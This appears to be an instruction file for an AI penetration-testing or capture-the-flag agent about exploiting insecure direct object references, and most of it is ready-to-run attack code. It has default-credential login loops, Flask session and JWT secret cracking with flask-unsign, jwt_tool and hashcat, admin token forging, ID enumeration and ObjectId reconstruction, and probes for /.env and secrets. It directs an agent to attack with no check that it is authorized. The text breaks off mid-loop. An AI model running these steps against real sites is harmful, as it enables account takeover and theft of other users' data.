- name
- exploit-idor
- description
- Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation.
- metadata
- {"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"idor, insecure direct object reference, authorization bypass, access control, object reference, id enumeration, sequential id, uuid guessing, horizontal privilege, vertical privilege, broken access control, parameter tampering, user id, object id"}
# Insecure Direct Object References (IDOR)
Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources.
## Default Credentials Fast-Path (when `default_credentials` is a co-tag)
When `default_credentials` appears alongside `idor` in the challenge tags, attempt login FIRST before any IDOR probing:
```bash
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
```
A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials.
## Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path
**When to use**: After logging in (default creds), if the session cookie starts with `eyJ` (base64) and contains a `.` separator without a JWT `alg` header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration.
Evidence pattern (real-world evidence): `test:test` → `user_id=10032` in Flask session → IDOR target at `/order/<id>/receipt` → cookie rejected when manually modifying user_id → SECRET_KEY `your_secret_key` found via flask-unsign → forged cookie with target user_id → flag.
```bash
# 1. Decode the Flask session cookie
pip install flask-unsign -q 2>/dev/null
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'
# 2. Brute-force the signing secret (try rockyou first, then common secrets)
flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
# Fallback: try common weak secrets inline
for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do
result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break
done
# 3. Once secret found — forge a cookie with admin/target user_id
flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>'
# 4. Use forged cookie to access target resources
curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt
grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt
```
**Decision rule**: If the flask-unsign crack against rockyou is not yielding the secret (no progress output), pivot to endpoint enumeration with your own valid session (horizontal IDOR without cookie forgery may still work).
## Detection Strategy
```bash
# Horizontal IDOR — access another user's data
curl -s 'https://<TARGET>/api/user/1001/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_own.txt
curl -s 'https://<TARGET>/api/user/1002/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_other.txt
diff idor_own.txt idor_other.txt
# Vertical IDOR — access admin resources as regular user
curl -s 'https://<TARGET>/api/admin/users' -H 'Cookie: session=<USER_SESSION>' -o idor_vertical.txt
# ID enumeration
for id in $(seq 1 100); do
STATUS=$(curl -s -o /dev/null -w '%{http_code}' "https://<TARGET>/api/document/${id}" -H 'Cookie: session=<SESSION>')
echo "ID $id: $STATUS"
done > idor_enum.txt
```
## Common IDOR Patterns
| Pattern | Example | Test |
|---------|---------|------|
| Sequential integer IDs | `/api/invoice/1001` | Increment/decrement ID |
| UUID/GUID | `/api/doc/550e8400-e29b-41d4-a716-446655440000` | Capture other UUIDs from responses |
| Filename | `/download?file=report_userA.pdf` | Change username in filename |
| Encoded ID | `/profile?id=MTAwMQ==` (base64) | Decode, modify, re-encode |
| Hashed ID | `/api/user/5d41402abc4b` | Check if MD5/SHA1 of predictable value |
| JWT sub claim | `{"sub": "1001"}` | Modify sub claim (if no signature check) |
## Predictable ID Generation Patterns (when IDs look random but encode account-derivable data)
Some IDs that LOOK random (long integers, hex strings, timestamps) are deterministic transformations of public data — registration order, account email, signup timestamp, or the user's own ID + a fixed offset. When the target says "find the first user" / "access account #1" / "view the earliest registered user," the bypass is usually NOT brute-force enumeration but RECONSTRUCTING the ID generator from observed samples.
Always collect THREE observed IDs first (yours + at least two others from public lists, comments, or response leaks). Then check each pattern:
```bash
# Sample: your own ID and any leaked peer IDs (from a /users listing, a comment author field, a leaderboard, etc.)
MY_ID="1734567890123"
PEER_A="1734567891456"
PEER_B="1734567894892"
# 1. Sequential / counter — diffs are small consistent integers
echo "$((PEER_A - MY_ID))" # e.g. 1333 → counter increment per account
echo "$((PEER_B - PEER_A))" # e.g. 3436 → spacing maps to signup gap
# 2. Unix timestamp millisecond — ID has 13-digit shape, decodes to a sensible date
date -d "@$((MY_ID / 1000))" '+%Y-%m-%d %H:%M:%S' # if plausible, ID is timestamp_ms
# 3. Snowflake — 64-bit ID: timestamp_ms (41 bits) | machine_id (10) | sequence (12)
python3 -c "
mid = int('$MY_ID')
ts_ms = (mid >> 22) + 1288834974657 # Twitter snowflake epoch offset
import datetime
print(datetime.datetime.utcfromtimestamp(ts_ms / 1000).isoformat())
"
# 4. Hash of public value (md5/sha1/sha256 of email, username, signup time)
for known_email in "admin@target.com" "test@target.com" "first@target.com"; do
for algo in md5 sha1 sha256; do
HASH=$(echo -n "$known_email" | openssl dgst -$algo | awk '{print $2}')
echo "$algo($known_email) = $HASH"
done
done
# 5. Reversible encoding — base64/hex/zlib of structured payload
echo "$MY_ID" | base64 -d 2>/dev/null
echo "$MY_ID" | xxd -r -p 2>/dev/null | head -c 200
python3 -c "import base64, zlib; print(zlib.decompress(base64.b64decode('$MY_ID')))" 2>/dev/null
```
**Decision rule**: once one pattern aligns, derive the target ID directly. Examples:
- Timestamp-based + "first user" challenge → compute `min(observed_ids)` and walk backwards by typical signup gap to find ID #1's timestamp; or query the app for the earliest known created_at and reconstruct.
- Sequential counter + "first user" → use `1`, `0`, `-1` (off-by-one) and the smallest leaked ID minus its observed offset.
- Snowflake + "specific account at known time" → compose timestamp_ms backwards: `(target_ts_ms - epoch) << 22 | sequence`.
- Hashed public value → enumerate known emails/usernames through the hash function; the value that hashes to a known peer ID confirms the algorithm.
**Anti-pattern**: brute-forcing sequential integers when the ID space is 13+ digits — at 1 req/sec the search exhausts the budget before reaching meaningful candidates. Always check pattern alignment first.
### MongoDB ObjectId Reconstruction
MongoDB ObjectIds look random but are a deterministic composite: `[4B timestamp][3B machine identifier][2B process id][3B counter]`. When the target app uses ObjectIds in URL paths (`/profile/<oid>`, `/users/<oid>/data`, `/api/doc/<oid>`) AND leaks ANY timing or ordering info about peer accounts, you can reconstruct a target ObjectId without enumeration:
```
target_oid_hex = <target_timestamp_sec_hex_4B> + <my_machine_pid_hex_5B> + <target_counter_hex_3B>
```
The middle 5 bytes (machine+pid) are SHARED across every ObjectId generated by the same mongod process — extract them once from your own observable ObjectId (registration response, profile URL, API response).
**Information leak surfaces that complete the formula**:
| Leak surface | Provides |
|---|---|
| `/starttime`, `/about`, `/info`, "Member since" page | Target account's creation Unix timestamp (4B portion) |
| Registration response with `distance` / `offset` / `you are N from target` | Counter offset from your own counter to target's (3B portion) |
| Sequential signup observation (register 2-3 accounts back-to-back) | Counter increment per second + base counter at known timestamp |
| Object listing with creation timestamps (admin panels, audit logs) | Direct counter samples |
**Concrete reconstruction**:
```bash
# Step 1 — observe self ObjectId (from /register response, /profile URL, etc.)
MY_OID="65f4a3b2c1d2e3f4a5b6c7d8" # 24 hex chars = 12 bytes
MY_TS_HEX="${MY_OID:0:8}" # first 4B = timestamp
MID_PID_HEX="${MY_OID:8:10}" # bytes 5-9 (10 hex chars) — machine+pid (SHARED)
MY_COUNTER_HEX="${MY_OID:18:6}" # last 3B = counter
# Step 2 — obtain target's timestamp + counter offset
TARGET_TS_SEC=$(curl -s "http://<TARGET>/starttime" | grep -oE '[0-9]{10}')
DISTANCE=$(grep -oE 'distance.*[0-9]+' /tmp/register_resp.txt | head -1 | grep -oE '[0-9]+$')
# Step 3 — derive target ObjectId
TARGET_TS_HEX=$(printf '%08x' "$TARGET_TS_SEC")
MY_COUNTER_DEC=$((16#$MY_COUNTER_HEX))
TARGET_COUNTER_DEC=$((MY_COUNTER_DEC - DISTANCE))
TARGET_COUNTER_HEX=$(printf '%06x' "$TARGET_COUNTER_DEC")
TARGET_OID="${TARGET_TS_HEX}${MID_PID_HEX}${TARGET_COUNTER_HEX}"
# Step 4 — IDOR with derived ObjectId
curl -s "http://<TARGET>/profile/${TARGET_OID}"
```
**Decision rule**: when ANY of (a) app uses ObjectId in URL paths, (b) self-observable ObjectId is in hand, (c) target timestamp is disclosed, (d) counter offset is disclosed or derivable from sequential registration — compute the target ObjectId directly. Skip enumeration; 24-hex-char keyspace is computationally unreachable but algorithmically trivial.
## JWT / Session Signature Cracking (when forged tokens are rejected)
If you decoded a JWT/session token, modified a claim, and the server rejected the modified token (signature invalid), the next step is NOT manual endpoint enumeration — it is signature secret recovery. With the secret you can sign a valid privesc'd token in one operation.
### Flask session (itsdangerous)
```bash
# Detect: cookie starts with "eyJ" base64 OR contains a "." separator with no JWT alg header
pip install flask-unsign 2>/dev/null
flask-unsign --decode --cookie '<COOKIE_VALUE>'
flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/flask-session-cookie-bruteforcer.txt
# Or with rockyou
flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt
# Once secret found:
flask-unsign --sign --cookie "{'user_id': 1}" --secret '<RECOVERED_SECRET>'
```
### Generic JWT (HS256)
```bash
# jwt_tool — interactive cracker
jwt_tool '<JWT>' -C -d /usr/share/wordlists/rockyou.txt
# hashcat mode 16500 (JWT HS256)
echo '<JWT>' > jwt.hash
hashcat -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt --force
# Once secret found, forge with python:
python3 -c "import jwt; print(jwt.encode({'user_id':1,'sub':'admin'}, '<SECRET>', algorithm='HS256'))"
```
### Decision rule (MANDATORY)
| State | Next action |
|-------|-------------|
| JWT decoded, claim modified, server rejected | Crack signing secret FIRST (flask-unsign or jwt_tool against a common-passwords wordlist) before manual enumeration |
| Crack succeeds | Forge token with desired claims, retry IDOR — done |
| Crack fails (no wordlist hit, RS256/asymmetric) | THEN fall back to endpoint enumeration / IDOR via form parameters |
| RS256 detected | Try `alg: none` confusion (`jwt_tool -X a`) before assuming uncrackable |
**Why this rule exists**: JWT/session signature validation is often implemented with weak secrets that crack against a common-passwords wordlist immediately. Spending the dispatch on manual endpoint guessing while the signing secret is one wordlist run away is a critical misallocation.
### Post-Forgery Endpoint Probe (MANDATORY after JWT forgery succeeds)
After successfully forging a JWT (alg:none, key confusion, or cracked secret), immediately probe these endpoints with the forged token as BOTH Bearer header and cookie — do not assume the flag is at a single path:
```bash
FORGED="<FORGED_JWT>"
BASE="http://<TARGET>"
for path in /admin /api/admin /api/users /dashboard /.env /api/flag /admin/flag /api/admin/flag; do
for method in GET POST; do
STATUS=$(curl -s -o /tmp/jwt_probe.txt -w '%{http_code}' -X "$method" \
-H "Authorization: Bearer $FORGED" -b "token=$FORGED" "$BASE$path")
echo "$method $path: $STATUS"
[ "$STATUS" = "200" ] && grep -iE 'secret|token|key|cred|flag' /tmp/jwt_probe.txt | head -3 && break 2
done
done
# If all 403 — try additional privilege claims alongside the sub modification
for claims in '{"sub":"admin","role":"admin"}' '{"sub":"admin","is_admin":true}' '{"sub":"admin","admin":1}'; do
GitHubで見る